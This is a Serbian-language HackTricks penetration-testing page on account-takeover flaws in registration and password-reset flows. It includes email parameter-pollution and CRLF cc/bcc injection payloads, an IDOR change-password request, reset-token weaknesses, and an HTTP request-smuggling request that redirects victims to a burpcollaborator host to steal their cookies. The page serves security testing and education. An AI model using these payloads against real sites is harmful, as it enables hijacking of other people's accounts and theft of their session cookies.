hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-10 13:11:20 +00:00

8.5 KiB

Registracija i ranjivosti preuzimanja

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Preuzimanje registracije

Dupliranje registracije

  • Pokušajte generisati koristeći postojeće korisničko ime
  • Proverite variranje e-pošte:
  • velika slova
  • +1@
  • dodajte tačku u e-poštu
  • posebni karakteri u imenu e-pošte (%00, %09, %20)
  • Stavite crne karaktere posle e-pošte: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeracija korisničkog imena

Proverite da li možete saznati kada je korisničko ime već registrovano unutar aplikacije.

Politika lozinke

Prilikom kreiranja korisnika proverite politiku lozinke (proverite da li možete koristiti slabe lozinke).
U tom slučaju možete pokušati napasti lozinke metodom brute force.

SQL Injection

Proverite ovu stranicu da biste naučili kako pokušati preuzeti naloge ili izvući informacije putem SQL Injection-a u registracionim formama.

Preuzimanje Oauth-a

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML ranjivosti

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Promena e-pošte

Kada se registrujete, pokušajte promeniti e-poštu i proverite da li se ova promena pravilno validira ili možete promeniti na proizvoljne e-pošte.

Dodatne provere

  • Proverite da li možete koristiti privremene e-pošte
  • Dugačka lozinka (>200) dovodi do DoS-a
  • Proverite ograničenja brzine pri kreiranju naloga
  • Koristite username@burp_collab.net i analizirajte callback
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na API parametrima

  1. Napadač se mora prijaviti sa svojim nalogom i otići na funkcionalnost Promena lozinke.
  2. Pokrenite Burp Suite i presretnite zahtev.
  3. Pošaljite ga na karticu "repeater" i izmenite parametre: ID korisnika/e-pošta
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Slab token za resetovanje lozinke

Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put.
Pokušajte da utvrdite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće promenljive mogu biti korišćene od strane algoritma.

  • Vremenska oznaka
  • ID korisnika
  • E-pošta korisnika
  • Ime i prezime
  • Datum rođenja
  • Kriptografija
  • Samo brojevi
  • Mala sekvencija tokena (karakteri između [A-Z,a-z,0-9])
  • Ponovna upotreba tokena
  • Datum isteka tokena

Otkrivanje tokena za resetovanje lozinke

  1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za određenu e-poštu, na primer: test@mail.com
  2. Pregledajte odgovor servera i proverite da li postoji resetToken
  3. Zatim koristite token u URL-u kao što je https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetovanje lozinke putem kolizije korisničkog imena

  1. Registrujte se na sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa belinama ubačenim pre i/ili posle korisničkog imena, na primer: "admin "
  2. Zatražite resetovanje lozinke sa zlonamernim korisničkim imenom.
  3. Koristite token poslat na vašu e-poštu i resetujte lozinku žrtve.
  4. Prijavite se na nalog žrtve sa novom lozinkom.

Platforma CTFd je bila ranjiva na ovaj napad.
Vidi: CVE-2020-7245

Preuzimanje naloga putem Cross Site Scripting-a

  1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na nadređenu domenu: *.domain.com
  2. Otkrijte trenutni kolačić sesije
  3. Autentifikujte se kao korisnik koristeći kolačić

Preuzimanje naloga putem HTTP Request Smuggling-a

1. Koristite smuggler da biste otkrili vrstu HTTP Request Smuggling-a (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Kreirajte zahtev koji će prebrisati POST / HTTP/1.1 sa sledećim podacima:
GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem preusmeravanja žrtava na burpcollab i krađe njihovih kolačića
3. Konačan zahtev može izgledati ovako

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone izveštaji o iskorišćavanju ove greške
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Preuzimanje naloga putem CSRF

  1. Kreirajte payload za CSRF, npr. "HTML formu sa automatskim slanjem za promenu lozinke"
  2. Pošaljite payload

Preuzimanje naloga putem JWT

JSON Web Token može se koristiti za autentifikaciju korisnika.

  • Izmenite JWT sa drugim korisničkim ID-em / Email-om
  • Proverite da li postoji slab potpis JWT-a

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: